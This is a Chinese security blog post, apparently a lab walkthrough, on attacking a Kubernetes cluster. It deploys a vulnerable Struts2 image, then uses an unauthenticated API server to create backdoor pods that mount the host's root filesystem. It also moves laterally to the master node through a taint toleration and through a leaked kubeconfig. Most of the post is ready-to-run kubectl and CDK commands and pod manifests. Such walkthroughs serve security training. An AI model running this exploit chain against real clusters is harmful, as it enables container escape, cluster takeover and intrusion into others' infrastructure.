云原生篇&K8s安全&实战场景&攻击Pod&污点Taint&横向移动&容器逃逸

Ethan医生7个月前服务安全221

场景实战:

1、攻击Pod部署Web应用

2、利用ApiServer未授权

3、实现挂载目录宿主机逃逸

4、利用污点Taint横向移动

5、利用Config泄漏横向移动

 

Web应用部署:(struts2漏洞)

kubectl create deployment struts --image=vulhub/struts2:2.3.28

kubectl expose deploy struts --port=8080 --target-port=8080 --type=NodePort

kubectl get pod,svc

 

利用Web漏洞拿下权限

 

探针当前Webshell环境:

https://blog.csdn.net/qq_23936389/article/details/131467165

ls -al /

cat /proc/1/cgroup

 

探针API Server未授权

curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods

 

提交创建后门Pod

./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'

 

./kubectl -s 10.96.0.1:443 create -f test.yaml

 

加参数绕过交互式

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods

 

利用后门挂载进行逃逸

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host"

 

利用污点Taint横向移动master节点

参考:https://cn-sec.com/archives/1336486.html

获取node节点详情:node-role.kubernetes.io/master:NoSchedule

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes

 

cat > x.yaml << EOF

apiVersion: v1

kind: Pod

metadata:

name: control-master-x

spec:

tolerations:

- key: node-role.kubernetes.io/master

operator: Exists

effect: NoSchedule

containers:

- name: control-master-x

image: ubuntu:18.04

command: ["/bin/sleep", "3650d"]

volumeMounts:

- name: master

mountPath: /master

volumes:

- name: master

hostPath:

path: /

type: Directory

EOF

 

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml

 

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods -o wide

 

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master -- bash -c "ls /master"

 

也可以利用节点泄漏的config横向移动节点

./kubectl -s https://10.96.0.1:443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

./kubectl apply -f test.yaml -n default --kubeconfig=config

./kubectl -n default --kubeconfig=config exec xiaodisec -- bash -c "ls /mnt/root"


相关文章

云上攻防-云原生篇&Kubernetes集群&K8s安全&Taint污点横向&Pod绑定部署&实战场景模拟

➢ 云上攻防-K8s容器-Taint污点横向&Kubernetes实战模拟场景实战:1、攻击Pod部署Web应用2、利用ApiServer未授权3、实现挂载目录宿主机逃逸4、利用污点...

Solr搜索&Shiro身份&Log4j日志&本地CVE环境复现

-Solr:主要基于HTTP和Apache Lucene实现的全文搜索服务器。历史漏洞:https://avd.aliyun.com/search?q=Solr黑盒特征:图标及端口83931、命令执行...

端口协议&桌面应用&QQ&WPS等RCE&hydra口令猜解&未授权检测

#端口协议-口令爆破&未授权参考:https://mp.weixin.qq.com/s/xp_LOUmGImrRmkPrDqxKjw-弱口令爆破https://github.com/vanha...

云原生篇&K8s安全&Config泄漏&Etcd存储&Dashboard鉴权&Proxy暴露

云原生篇&K8s安全&Config泄漏&Etcd存储&Dashboard鉴权&Proxy暴露

#云原生-K8s安全-etcd未授权访问攻击2379端口:默认通过证书认证,主要存放节点的数据,如一些token和证书。 第一种:没有配置指定--client-cert-auth 参数打开证...

云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸

#云原生-Docker安全-容器逃逸&内核漏洞细节部分在权限提升章节会详解,常用:CVE-2016-5195 CVE-2019-16884 CVE-2021-3493CVE-2021-2255...

云服务篇&弹性计算&云数据库&实例元数据&控制角色&AK控制台接管

元数据解释:实例元数据(metadata)包含了弹性计算云服务器实例在阿里云系统中的信息,您可以在运行中的实例内方便地查看实例元数据,并基于实例元数据配置或管理实例。(基本信息:实例ID、IP地址、网...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。